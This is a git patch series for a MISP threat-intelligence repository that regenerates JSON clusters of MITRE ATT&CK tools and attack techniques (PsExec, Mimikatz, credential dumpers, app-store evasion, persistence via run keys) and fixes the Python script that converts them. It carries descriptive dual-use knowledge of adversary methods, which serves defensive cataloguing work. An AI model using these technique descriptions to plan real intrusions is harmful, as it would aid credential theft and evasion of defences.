+ "refs": [ + "https://attack.mitre.org/wiki/Software/S0029", + "https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx", + "https://digital-forensics.sans.org/blog/2012/12/17/protecting-privileged-domain-accounts-psexec-deep-dive" + ], + "uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db" + }, + "related": [ + { + "dest-uuid": "6dd05630-9bd8-11e8-a8b9-47ce338a4367", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "PsExec" + }, + { + "description": "FTP is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data.[[Citation: Wikipedia FTP]]\n\nAliases: FTP, ftp.exe", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0095", + "https://en.wikipedia.org/wiki/File%20Transfer%20Protocol" + ], + "synonyms": [ + "FTP", + "ftp.exe" + ], + "uuid": "cf23bf4a-e003-4116-bbae-1ea6c558d565" + }, + "value": "FTP" + }, + { + "description": "Fgdump is a Windows password hash dumper.[[Citation: Mandiant APT1]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0120", + "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + ], + "uuid": "4f45dfeb-fe51-4df0-8db3-edf7dd0513fe" + }, + "value": "Fgdump" + }, + { + "description": "Lslsass is a publicly-available tool that can dump active logon session password hashes from the lsass process.[[Citation: Mandiant APT1]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0121", + "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + ], + "uuid": "2fab555f-7664-4623-b4e0-1675ae38190b" + }, + "value": "Lslsass" + }, + { + "description": "Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks.[[Citation: Deply Mimikatz]][[Citation: Adsecurity Mimikatz Guide]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0002", + "https://adsecurity.org/?page%20id=1821", + "https://github.com/gentilkiwi/mimikatz" + ], + "uuid": "afc079f3-c0ea-4096-b75d-3f05338b7f60" + }, + "related": [ + { + "dest-uuid": "7f3a035d-d83a-45b8-8111-412aa8ade802", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "Mimikatz" + }, + { + "description": "The Net utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections.Net has a great deal of functionality,[[Citation: Savill 1999]] much of which is useful for an adversary, such as gathering system and network information for [[Discovery]], moving laterally through [[Windows admin shares]] using net use commands, and interacting with services.\n\nAliases: Net, net.exe", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0039", + "https://msdn.microsoft.com/en-us/library/aa939914", + "http://windowsitpro.com/windows/netexe-reference" + ], + "synonyms": [ + "Net", + "net.exe" + ], + "uuid": "03342581-f790-4f03-ba41-e82e67392e23" + }, + "value": "Net" + }, + { + "description": "Ping is an operating system utility commonly used to troubleshoot and verify network connections.[[Citation: TechNet Ping]]\n\nAliases: ping.exe, Ping", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0097", + "https://technet.microsoft.com/en-us/library/bb490968.aspx" + ], + "synonyms": [ + "ping.exe", + "Ping" + ], + "uuid": "b77b563c-34bb-4fb8-86a3-3694338f7b47" + }, + "value": "Ping" + }, { "description": "Reg is a Windows utility used to interact with the Windows Registry. It can be used at the command-line interface to query, add, modify, and remove information.Reg are known to be used by persistent threats.[[Citation: Windows Commands JPCERT]]\n\nAliases: Reg, reg.exe", "meta": { @@ -505,6 +275,236 @@ "uuid": "cde2d700-9ed1-46cf-9bce-07364fe8b24f" }, "value": "Reg" + }, + { + "description": "Systeminfo is a Windows utility that can be used to gather detailed information about a computer.[[Citation: TechNet Systeminfo]]\n\nAliases: systeminfo.exe, Systeminfo", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0096", + "https://technet.microsoft.com/en-us/library/bb491007.aspx" + ], + "synonyms": [ + "systeminfo.exe", + "Systeminfo" + ], + "uuid": "7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1" + }, + "value": "Systeminfo" + }, + { + "description": "The Tasklist utility displays a list of applications and services with their Process IDs (PID) for all tasks running on either a local or a remote computer. It is packaged with Windows operating systems and can be executed from the command-line interface.[[Citation: Microsoft Tasklist]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0057", + "https://technet.microsoft.com/en-us/library/bb491010.aspx" + ], + "uuid": "2e45723a-31da-4a7e-aaa6-e01998a6788f" + }, + "value": "Tasklist" + }, + { + "description": "nbtstat is a utility used to troubleshoot NetBIOS name resolution.[[Citation: TechNet Nbtstat]]\n\nAliases: nbtstat, nbtstat.exe", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0102", + "https://technet.microsoft.com/en-us/library/cc940106.aspx" + ], + "synonyms": [ + "nbtstat", + "nbtstat.exe" + ], + "uuid": "b35068ec-107a-4266-bda8-eb7036267aea" + }, + "value": "nbtstat" + }, + { + "description": "schtasks is used to schedule execution of programs or scripts on a Windows system to run at a specific date and time.[[Citation: TechNet Schtasks]]\n\nAliases: schtasks, schtasks.exe", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0111", + "https://technet.microsoft.com/en-us/library/bb490996.aspx" + ], + "synonyms": [ + "schtasks", + "schtasks.exe" + ], + "uuid": "c9703cd3-141c-43a0-a926-380082be5d04" + }, + "value": "schtasks" + }, + { + "description": "netstat is an operating system utility that displays active TCP connections, listening ports, and network statistics.[[Citation: TechNet Netstat]]\n\nAliases: netstat, netstat.exe", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0104", + "https://technet.microsoft.com/en-us/library/bb490947.aspx" + ], + "synonyms": [ + "netstat", + "netstat.exe" + ], + "uuid": "4664b683-f578-434f-919b-1c1aad2a1111" + }, + "value": "netstat" + }, + { + "description": "at is used to schedule tasks on a system to run at a specified date or time.[[Citation: TechNet At]]\n\nAliases: at, at.exe", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0110", + "https://technet.microsoft.com/en-us/library/bb490866.aspx" + ], + "synonyms": [ + "at", + "at.exe" + ], + "uuid": "0c8465c0-d0b4-4670-992e-4eee8d7ff952" + }, + "value": "at" + }, + { + "description": "gsecdump is a publicly-available credential dumper used to obtain password hashes and LSA secrets from Windows operating systems.[[Citation: TrueSec Gsecdump]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0008", + "http://www.truesec.com/Tools/Tool/gsecdump%20v2.0b5" + ], + "uuid": "b07c2c47-fefb-4d7c-a69e-6a3296171f54" + }, + "related": [ + { + "dest-uuid": "8410d208-7450-407d-b56c-e5c1ced19632", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "gsecdump" + }, + { + "description": "cmd is the Windows command-line interpreter that can be used to interact with systems and execute other processes and utilities.[[Citation: TechNet Cmd]]\n\nCmd.exe contains native functionality to perform many operations to interact with the system, including listing files in a directory (e.g., dir[[Citation: TechNet Dir]]), deleting files (e.g., del[[Citation: TechNet Del]]), and copying files (e.g., copy[[Citation: TechNet Copy]]).\n\nAliases: cmd, cmd.exe", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0106", + "https://technet.microsoft.com/en-us/library/cc771049.aspx", + "https://technet.microsoft.com/en-us/library/cc755121.aspx", + "https://technet.microsoft.com/en-us/library/bb490886.aspx", + "https://technet.microsoft.com/en-us/library/bb490880.aspx" + ], + "synonyms": [ + "cmd", + "cmd.exe" + ], + "uuid": "bba595da-b73a-4354-aa6c-224d4de7cb4e" + }, + "value": "cmd" + }, + { + "description": "Certutil is a command-line utility that can be used to obtain certificate authority information and configure Certificate Services.[[Citation: TechNet Certutil]]\n\nAliases: certutil, certutil.exe", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0160", + "https://technet.microsoft.com/library/cc732443.aspx" + ], + "synonyms": [ + "certutil", + "certutil.exe" + ], + "uuid": "3e205e84-9f90-4b4b-8896-c82189936a15" + }, + "related": [ + { + "dest-uuid": "0a68f1f1-da74-4d28-8d9a-696c082706cc", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "certutil" + }, + { + "description": "ifconfig is a Unix-based utility used to gather information about and interact with the TCP/IP settings on a system.[[Citation: Wikipedia Ifconfig]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0101", + "https://en.wikipedia.org/wiki/Ifconfig" + ], + "uuid": "362dc67f-4e85-4562-9dac-1b6b7f3ec4b5" + }, + "value": "ifconfig" + }, + { + "description": "ipconfig is a Windows utility that can be used to find information about a system's TCP/IP, DNS, DHCP, and adapter configuration.[[Citation: TechNet Ipconfig]]\n\nAliases: ipconfig, ipconfig.exe", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0100", + "https://technet.microsoft.com/en-us/library/bb490921.aspx" + ], + "synonyms": [ + "ipconfig", + "ipconfig.exe" + ], + "uuid": "294e2560-bd48-44b2-9da2-833b5588ad11" + }, + "value": "ipconfig" + }, + { + "description": "dsquery is a command-line utility that can be used to query Active Directory for information from a system within a domain.[[Citation: TechNet Dsquery]] It is typically installed only on Windows Server versions but can be installed on non-server variants through the Microsoft-provided Remote Server Administration Tools bundle.\n\nAliases: dsquery, dsquery.exe", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0105", + "https://technet.microsoft.com/en-us/library/cc732952.aspx" + ], + "synonyms": [ + "dsquery", + "dsquery.exe" + ], + "uuid": "38952eac-cb1b-4a71-bad2-ee8223a1c8fe" + }, + "value": "dsquery" + }, + { + "description": "pwdump is a credential dumper.[[Citation: Wikipedia pwdump]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0006", + "https://en.wikipedia.org/wiki/Pwdump" + ], + "uuid": "9de2308e-7bed-43a3-8e58-f194b3586700" + }, + "value": "pwdump" + }, + { + "description": "netsh is a scripting utility used to interact with networking components on local or remote systems.[[Citation: TechNet Netsh]]\n\nAliases: netsh, netsh.exe", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0108", + "https://technet.microsoft.com/library/bb490939.aspx" + ], + "synonyms": [ + "netsh", + "netsh.exe" + ], + "uuid": "5a63f900-5e7e-4928-a746-dd4558e1df71" + }, + "value": "netsh" + }, + { + "description": "route can be used to find or change information within the local system IP routing table.[[Citation: TechNet Route]]\n\nAliases: route, route.exe", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0103", + "https://technet.microsoft.com/en-us/library/bb490991.aspx" + ], + "synonyms": [ + "route", + "route.exe" + ], + "uuid": "c11ac61d-50f4-444f-85d8-6f006067f0de" + }, + "value": "route" } ], "version": 6 From db2dbc7cb6f2277e213955c955f1fa2982550e66 Mon Sep 17 00:00:00 2001 From: Christophe Vandeplas Date: Sun, 9 Dec 2018 09:14:56 +0100 Subject: [PATCH 3/4] fix: [tool] MITRE conversion script --- tools/mitre-cti/v2.0/create_mitre-galaxy.py | 22 +++++++++++++-------- 1 file changed, 14 insertions(+), 8 deletions(-) diff --git a/tools/mitre-cti/v2.0/create_mitre-galaxy.py b/tools/mitre-cti/v2.0/create_mitre-galaxy.py index 6b2ccdd..0d7ca0a 100755 --- a/tools/mitre-cti/v2.0/create_mitre-galaxy.py +++ b/tools/mitre-cti/v2.0/create_mitre-galaxy.py @@ -92,11 +92,12 @@ for domain in domains: if 'kill_chain_phases' in item: # many (but not all) attack-patterns have this value['meta']['kill_chain'] = [] for killchain in item['kill_chain_phases']: - value['meta']['kill_chain'].append(killchain['kill_chain_name'] + ':enterprise-attack:' + killchain['phase_name']) + value['meta']['kill_chain'].append(killchain['kill_chain_name'] + ':' + killchain['phase_name']) if 'x_mitre_data_sources' in item: value['meta']['mitre_data_sources'] = item['x_mitre_data_sources'] if 'x_mitre_platforms' in item: value['meta']['mitre_platforms'] = item['x_mitre_platforms'] + # TODO add the other x_mitre elements dynamically # relationships will be build separately afterwards value['type'] = item['type'] # remove this before dump to json @@ -128,10 +129,10 @@ for domain in domains: ], "type": rel_type } - if 'relation' not in all_data_uuid[source_uuid]: - all_data_uuid[source_uuid]['relation'] = [] - if rel_source not in all_data_uuid[source_uuid]['relation']: - all_data_uuid[source_uuid]['relation'].append(rel_source) + if 'related' not in all_data_uuid[source_uuid]: + all_data_uuid[source_uuid]['related'] = [] + if rel_source not in all_data_uuid[source_uuid]['related']: + all_data_uuid[source_uuid]['related'].append(rel_source) # LATER find the opposite word of "rel_type" and build the relation in the opposite direction @@ -140,17 +141,22 @@ for t in types: fname = os.path.join(misp_dir, 'clusters', 'mitre-{}.json'.format(t)) if not os.path.exists(fname): exit("File {} does not exist, this is unexpected.".format(fname)) - # print("##### {}".format(fname)) with open(fname) as f: file_data = json.load(f) file_data['values'] = [] for item in all_data_uuid.values(): + # print(json.dumps(item, sort_keys=True, indent=2)) if item['type'] != t: continue - item.pop('type', None) - file_data['values'].append(item) + item_2 = item.copy() + item_2.pop('type', None) + file_data['values'].append(item_2) + file_data['values'] = sorted(file_data['values'], key=lambda x: sorted(x['value'])) # FIXME the sort algo needs to be further improved + file_data['version'] += 1 with open(fname, 'w') as f: json.dump(file_data, f, indent=2, sort_keys=True, ensure_ascii=False) f.write('\n') # only needed for the beauty and to be compliant with jq_all_the_things + +print("All done, please don't forget to ./validate_all.sh and ./jq_all_the_things.sh") From 1a65dfb9f4435dba1a583e2b318cedcbb40ad4e5 Mon Sep 17 00:00:00 2001 From: Christophe Vandeplas Date: Sun, 9 Dec 2018 09:16:03 +0100 Subject: [PATCH 4/4] chg: [mitre] re-generated galaxies and values using the MITRE sources and also using the MISP version to keep manually created relationships and such --- clusters/mitre-attack-pattern.json | 13440 +++++++++----- clusters/mitre-course-of-action.json | 6063 ++++++- clusters/mitre-intrusion-set.json | 11176 +++++++++++- clusters/mitre-malware.json | 23719 +++++++++++++++++++++++-- clusters/mitre-tool.json | 2772 ++- 5 files changed, 49446 insertions(+), 7724 deletions(-) diff --git a/clusters/mitre-attack-pattern.json b/clusters/mitre-attack-pattern.json index eb02ca4..2633ada 100644 --- a/clusters/mitre-attack-pattern.json +++ b/clusters/mitre-attack-pattern.json @@ -10,70 +10,2319 @@ "uuid": "dcb864dc-775f-11e7-9fbb-1f41b4996683", "values": [ { - "description": "Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.Masquerading to make the Registry entries look as if they are associated with legitimate programs.\n\nDetection: Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders.[[Citation: TechNet Autoruns]] Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\n\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [[Command and Control]], learning details about the environment through [[Discovery]], and [[Lateral Movement]].\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, File monitoring", + "description": "Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). An adversary can submit multiple code samples to these stores deliberately designed to probe the stores' security analysis capabilities, with the goal of determining effective techniques to place malicious applications in the stores that could then be delivered to targeted devices. (Citation: Android Bouncer) (Citation: Adventures in BouncerLand) (Citation: Jekyll on iOS) (Citation: Fruit vs Zombies)", "meta": { + "external_id": "T1393", + "kill_chain": [ + "mitre-pre-attack:test-capabilities" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1393" + ] + }, + "uuid": "c9e85b80-39e8-42df-b275-86a2afcea9e8", + "value": "Test ability to evade automated mobile application security analysis performed by app stores - T1393" + }, + { + "description": "The adversary can use account credentials or signing keys of an existing mobile app developer to publish malicious updates of existing mobile apps to an application store, or to abuse the developer's identity and reputation to publish new malicious apps. Many mobile devices are configured to automatically install new versions of already-installed apps. (Citation: Fraudenlent Apps Stolen Dev Credentials)", + "meta": { + "external_id": "T1391", + "kill_chain": [ + "mitre-pre-attack:persona-development" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1391" + ] + }, + "uuid": "7a265bf0-6acc-4f43-8b22-2e58b443e62e", + "value": "Choose pre-compromised mobile app developer account credentials or signing keys - T1391" + }, + { + "description": "Software applications will be built using different technologies, languages, and dependencies. This information may reveal vulnerabilities or opportunities to an adversary. (Citation: CommonApplicationAttacks) (Citation: WebApplicationSecurity) (Citation: SANSTop25)", + "meta": { + "external_id": "T1261", + "kill_chain": [ + "mitre-pre-attack:technical-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1261" + ] + }, + "uuid": "ef6197fd-a58a-4006-bfd6-1d7765d8409d", + "value": "Enumerate externally facing software applications technologies, languages, and dependencies - T1261" + }, + { + "description": "The adversary can obtain an Apple iOS enterprise distribution key pair and certificate and use it to distribute malicious apps directly to Apple iOS devices without the need to publish the apps to the Apple App Store (where the apps could potentially be detected). (Citation: Apple Developer Enterprise Porgram Apps) (Citation: Fruit vs Zombies) (Citation: WIRELURKER) (Citation: Sideloading Change)", + "meta": { + "external_id": "T1392", + "kill_chain": [ + "mitre-pre-attack:persona-development" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1392" + ] + }, + "uuid": "d58f3996-e293-4f69-a2c8-0e1851cb8297", + "value": "Obtain Apple iOS enterprise distribution key pair and certificate - T1392" + }, + { + "description": "Social media provides insight into the target's affiliations with groups and organizations. Certification information can explain their technical associations and professional associations. Personal information can provide data for exploitation or even blackmail. (Citation: Scasny2015)", + "meta": { + "external_id": "T1295", + "kill_chain": [ + "mitre-pre-attack:people-weakness-identification" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1295" + ] + }, + "uuid": "ee40d054-6e83-4302-88dc-a3af98821d8d", + "value": "Analyze social and business relationships, interests, and affiliations - T1295" + }, + { + "description": "An adversary needs the necessary skills to set up procured equipment and software to create their desired infrastructure. (Citation: KasperskyRedOctober)", + "meta": { + "external_id": "T1336", + "kill_chain": [ + "mitre-pre-attack:establish-&-maintain-infrastructure" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1336" + ] + }, + "uuid": "73e394e5-3d8a-40d1-ab8c-a1b4ea9db424", + "value": "Install and configure hardware, network, and systems - T1336" + }, + { + "description": "There is usually a delay between when a vulnerability or exploit is discovered and when it is made public. An adversary may target the systems of those known to research vulnerabilities in order to gain that knowledge for use during a different attack. (Citation: TempertonDarkHotel)", + "meta": { + "external_id": "T1354", + "kill_chain": [ + "mitre-pre-attack:build-capabilities" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1354" + ] + }, + "uuid": "5a68c603-d7f9-4535-927e-ab56819eaa85", + "value": "Compromise 3rd party or closed-source vulnerability/exploit information - T1354" + }, + { + "description": "An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may need to discover new exploits when existing exploits are no longer relevant to the environment they are trying to compromise. An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. (Citation: EquationQA)", + "meta": { + "external_id": "T1350", + "kill_chain": [ + "mitre-pre-attack:build-capabilities" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1350", + "https://www.threatminer.org/_reports/2015/Equation_group_questions_and_answers.pdf" + ] + }, + "uuid": "82bbd209-f516-45e0-9542-4ffbbc2a8717", + "value": "Discover new exploits and monitor exploit-provider forums - T1350" + }, + { + "description": "A wide variety of 3rd party software services are available (e.g., [Twitter](https://twitter.com), [Dropbox](https://www.dropbox.com), [GoogleDocs](https://www.google.com/docs/about)). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LOWBALL2015)", + "meta": { + "external_id": "T1330", + "kill_chain": [ + "mitre-pre-attack:establish-&-maintain-infrastructure" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1330" + ] + }, + "related": [ + { + "dest-uuid": "1a295f87-af63-4d94-b130-039d6221fb11", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "488da8ed-2887-4ef6-a39a-5b69bc6682c6", + "value": "Acquire and/or use 3rd party software services - T1330" + }, + { + "description": "A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012)", + "meta": { + "external_id": "T1307", + "kill_chain": [ + "mitre-pre-attack:adversary-opsec" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1307" + ] + }, + "related": [ + { + "dest-uuid": "795c1a92-3a26-453e-b99a-6a566aa94dc6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "286cc500-4291-45c2-99a1-e760db176402", + "value": "Acquire and/or use 3rd party infrastructure services - T1307" + }, + { + "description": "A wide variety of 3rd party software services are available (e.g., [Twitter](https://twitter.com), [Dropbox](https://www.dropbox.com), [GoogleDocs](https://www.google.com/docs/about)). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012) (Citation: Nemucod Facebook)", + "meta": { + "external_id": "T1308", + "kill_chain": [ + "mitre-pre-attack:adversary-opsec" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1308" + ] + }, + "related": [ + { + "dest-uuid": "488da8ed-2887-4ef6-a39a-5b69bc6682c6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "1a295f87-af63-4d94-b130-039d6221fb11", + "value": "Acquire and/or use 3rd party software services - T1308" + }, + { + "description": "An adversary can test their planned method of attack against existing security products such as email filters or intrusion detection sensors (IDS). (Citation: WiredVirusTotal)", + "meta": { + "external_id": "T1361", + "kill_chain": [ + "mitre-pre-attack:test-capabilities" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1361" + ] + }, + "uuid": "c9ac5715-ee5c-4380-baf4-6f12e304ca93", + "value": "Test signature detection for file upload/email filters - T1361" + }, + { + "description": "A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: TrendmicroHideoutsLease)", + "meta": { + "external_id": "T1329", + "kill_chain": [ + "mitre-pre-attack:establish-&-maintain-infrastructure" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1329" + ] + }, + "related": [ + { + "dest-uuid": "286cc500-4291-45c2-99a1-e760db176402", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "795c1a92-3a26-453e-b99a-6a566aa94dc6", + "value": "Acquire and/or use 3rd party infrastructure services - T1329" + }, + { + "description": "Code signing is the process of digitally signing executables or scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an signed piece of code even if they don't know who issued the certificate or who the author is. (Citation: Adobe Code Signing Cert)", + "meta": { + "external_id": "T1310", + "kill_chain": [ + "mitre-pre-attack:adversary-opsec" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1310" + ] + }, + "related": [ + { + "dest-uuid": "03f4a766-7a21-4b5e-9ccf-e0cf422ab983", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "e5164428-03ca-4336-a9a7-4d9ea1417e59", + "value": "Acquire or compromise 3rd party signing certificates - T1310" + }, + { + "description": "A malicious application can request Device Administrator privileges. If the user grants the privileges, the application can take steps to make its removal more difficult.", + "meta": { + "external_id": "APP-22", + "kill_chain": [ + "mitre-mobile-attack:persistence" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1401", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html" + ] + }, + "uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", + "value": "Abuse Device Administrator Access to Prevent Removal - T1401" + }, + { + "description": "An adversary could attempt to read files that contain sensitive data or credentials (e.g., private keys, passwords, access tokens). This technique requires either escalated privileges or for the targeted app to have stored the data in an insecure manner (e.g., with insecure file permissions or in an insecure location such as an external storage directory).", + "meta": { + "external_id": "AUT-0", + "kill_chain": [ + "mitre-mobile-attack:collection", + "mitre-mobile-attack:credential-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1409", + "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-0.html" + ] + }, + "uuid": "702055ac-4e54-4ae9-9527-e23a38e0b160", + "value": "Access Sensitive Data or Credentials in Files - T1409" + }, + { + "description": "Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)", + "meta": { + "external_id": "T1312", + "kill_chain": [ + "mitre-pre-attack:adversary-opsec" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1312" + ] + }, + "related": [ + { + "dest-uuid": "e51398e6-53dc-4e9f-a323-e54683d8672b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "4900fabf-1142-4c1f-92f5-0b590e049077", + "value": "Compromise 3rd party infrastructure to support delivery - T1312" + }, + { + "description": "Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an signed piece of code even if they don't know who issued the certificate or who the author is. (Citation: DiginotarCompromise)", + "meta": { + "external_id": "T1332", + "kill_chain": [ + "mitre-pre-attack:establish-&-maintain-infrastructure" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1332" + ] + }, + "related": [ + { + "dest-uuid": "e5164428-03ca-4336-a9a7-4d9ea1417e59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "03f4a766-7a21-4b5e-9ccf-e0cf422ab983", + "value": "Acquire or compromise 3rd party signing certificates - T1332" + }, + { + "description": "Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)", + "meta": { + "external_id": "T1334", + "kill_chain": [ + "mitre-pre-attack:establish-&-maintain-infrastructure" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1334" + ] + }, + "related": [ + { + "dest-uuid": "4900fabf-1142-4c1f-92f5-0b590e049077", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "e51398e6-53dc-4e9f-a323-e54683d8672b", + "value": "Compromise 3rd party infrastructure to support delivery - T1334" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nThrough social engineering or other methods, an adversary can get users to perform physical actions that provide access to an adversary. This could include providing a password over the phone or inserting a 'found' CD or USB into a system. (Citation: AnonHBGary) (Citation: CSOInsideOutside)", + "meta": { + "external_id": "T1385", + "kill_chain": [ + "mitre-pre-attack:compromise" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1385" + ] + }, + "uuid": "fb39384c-00e4-414a-88af-e80c4904e0b8", + "value": "Human performs requested action of physical nature - T1385" + }, + { + "description": "An adversary could abuse an iOS enterprise app signing key (intended for enterprise in-house distribution of apps) to sign malicious iOS apps so that they can be installed on iOS devices without the app needing to be published on Apple's App Store. For example, Xiao describes use of this technique in (Citation: Xiao-iOS).\n\nDetection: iOS 9 and above typically requires explicit user consent before allowing installation of applications signed with enterprise distribution keys rather than installed from Apple's App Store.\n\nPlatforms: iOS", + "meta": { + "external_id": "T1445", + "refs": [ + "https://attack.mitre.org/techniques/T1445" + ] + }, + "related": [ + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], + "uuid": "51aedbd6-2837-4d15-aeb0-cb09f2bf22ac", + "value": "Abuse of iOS Enterprise App Signing Key - T1445" + }, + { + "description": "Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. Mobile devices often are configured to allow application installation only from an authorized app store (e.g., Google Play Store or Apple App Store). An adversary may seek to place a malicious application in an authorized app store, enabling the application to be installed onto targeted devices.\n\nApp stores typically require developer registration and use vetting techniques to identify malicious applications. Adversaries may use these techniques against app store defenses:\n\n* [Download New Code at Runtime](https://attack.mitre.org/techniques/T1407)\n* [Obfuscated or Encrypted Payload](https://attack.mitre.org/techniques/T1406)\n* PRE-ATT&CK: [Choose pre-compromised mobile app developer account credentials or signing keys](https://attack.mitre.org/techniques/T1391)\n* PRE-ATT&CK: [Test ability to evade automated mobile application security analysis performed by app stores](https://attack.mitre.org/techniques/T1393)\n\nAdversaries may also seek to evade vetting by placing code in a malicious application to detect whether it is running in an app analysis environment and, if so, avoid performing malicious actions while under analysis. (Citation: Petsas) (Citation: Oberheide-Bouncer) (Citation: Percoco-Bouncer) (Citation: Wang)\n\nAdversaries may also use fake identities, payment cards, etc., to create developer accounts to publish malicious applications to app stores. 